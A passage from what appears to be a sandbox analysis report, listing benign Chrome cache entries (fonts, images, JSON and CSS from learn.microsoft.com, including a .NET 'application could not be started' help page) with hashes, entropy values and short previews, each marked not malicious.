Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	195719
Entropy (8bit):	5.430057012529021
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVli2:Wof3G0NSkNzMeO7z/l3lh
MD5:	9445D8D43537540BC89651C93A9C3832
SHA1:	EC3066770D52DB58CB7E44C54C3ABAA40CEB121A
SHA-256:	586D6261C80CBF8CDEC59DE01F1A1D09B32C04E87431E4333A0BF4D8990C2755
SHA-512:	F2BB9BB14C24883499AF2FAD35EE95AF7BF3D9B0431D8072C54C9D5946C751E04D952F5AD5D937F6CBC7C56177FA2091A5A6F33318F2907E9D3628C28E7FFC9C
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25441
Entropy (8bit):	5.152769469811509
Encrypted:	false
SSDEEP:	768:63jAjCjKjvjXLQjt6j+F/XwHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrX:PIFIv11pOVqlh382/rIN1v
MD5:	CCDED74C889AFA3851036BDF0CADB421
SHA1:	E7263595381709693C603531E5F125F10C01641C
SHA-256:	E8577F9831DBFDABD050EB0B30AB35060C7CA337DB0911F7F42C09E6E265AA9D
SHA-512:	3270A6A71CBCA125DADBF9BB3928201D233788CDA14A00DC01865574AC443CADCC2AE80C269657938DC1D9F8F1DB11AAEC48E42D31031635332D9526AF0C9930
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
